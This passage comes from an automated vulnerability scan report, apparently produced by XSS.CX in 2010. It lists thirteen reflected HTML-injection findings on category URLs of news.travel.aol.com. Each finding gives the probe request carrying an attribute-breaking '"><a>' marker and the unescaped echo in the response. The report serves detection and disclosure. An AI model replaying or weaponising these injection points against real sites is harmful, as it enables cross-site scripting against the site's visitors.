This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/beach36479"><a>f5815238521/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:13 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999863
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/beach36479"><a>f5815238521/" />
...[SNIP]...

1.38. http://news.travel.aol.com/category/best-of/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/best-of/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b402e"><a>75dc85dc11e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/best-ofb402e"><a>75dc85dc11e/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:06 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999953
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47613

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/best-ofb402e"><a>75dc85dc11e/" />
...[SNIP]...

1.39. http://news.travel.aol.com/category/budget/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/budget/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4119"><a>daaca159158 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/budgete4119"><a>daaca159158/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999972
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47608

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/budgete4119"><a>daaca159158/" />
...[SNIP]...

1.40. http://news.travel.aol.com/category/cruise/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/cruise/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdb80"><a>a4a295e79af was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/cruisebdb80"><a>a4a295e79af/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:01 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=1000000
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47608

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/cruisebdb80"><a>a4a295e79af/" />
...[SNIP]...

1.41. http://news.travel.aol.com/category/disney/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/disney/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 205db"><a>f461415b239 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/disney205db"><a>f461415b239/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:55:56 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999827
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47609

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/disney205db"><a>f461415b239/" />
...[SNIP]...

1.42. http://news.travel.aol.com/category/family/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/family/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42321"><a>d7fc1243b1c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/family42321"><a>d7fc1243b1c/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:03 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999990
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47608

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/family42321"><a>d7fc1243b1c/" />
...[SNIP]...

1.43. http://news.travel.aol.com/category/hotel/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/hotel/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ff71"><a>fab26e8d884 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/hotel3ff71"><a>fab26e8d884/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:28 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999987
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/hotel3ff71"><a>fab26e8d884/" />
...[SNIP]...

1.44. http://news.travel.aol.com/category/news/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/news/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adc68"><a>231bd3d6d90 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/newsadc68"><a>231bd3d6d90/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:08 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999973
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47598

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/newsadc68"><a>231bd3d6d90/" />
...[SNIP]...

1.45. http://news.travel.aol.com/category/outdoor/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/outdoor/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89a7d"><a>858086e211b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/outdoor89a7d"><a>858086e211b/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:55:59 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999997
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47614

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/outdoor89a7d"><a>858086e211b/" />
...[SNIP]...

1.46. http://news.travel.aol.com/category/real-life-stories/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/real-life-stories/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98a28"><a>b8a56485f0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/real-life-stories98a28"><a>b8a56485f0/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999998
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47659

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/real-life-stories98a28"><a>b8a56485f0/" />
...[SNIP]...

1.47. http://news.travel.aol.com/category/romantic/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/romantic/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6267e"><a>7c9daee3da2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/romantic6267e"><a>7c9daee3da2/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:09 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999993
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47618

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/romantic6267e"><a>7c9daee3da2/" />
...[SNIP]...

1.48. http://news.travel.aol.com/category/tips-and-tricks/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/tips-and-tricks/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa87d"><a>f9594677ed6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/tips-and-tricksfa87d"><a>f9594677ed6/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:58 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999936
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47653

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/tips-and-tricksfa87d"><a>f9594677ed6/" />
...[SNIP]...

1.49. http://news.travel.aol.com/category/video/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/video/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f48b9"><a>89cc5f755b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/videof48b9"><a>89cc5f755b/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:57 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999993
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47599

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/videof48b9"><a>89cc5f755b/" />
...[SNIP]...

1.50. http://news.travel.aol.com/category/weird/ [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/weird/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c8b0"><a>b9d1b9c55e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/weird3c8b0"><a>b9d1b9c55e4/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:06 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999960
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47604

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/weird3c8b0"><a>b9d1b9c55e4/" />
...[SNIP]...

Report generated by XSS.CX at Fri Nov 19 17:36:47 CST 2010.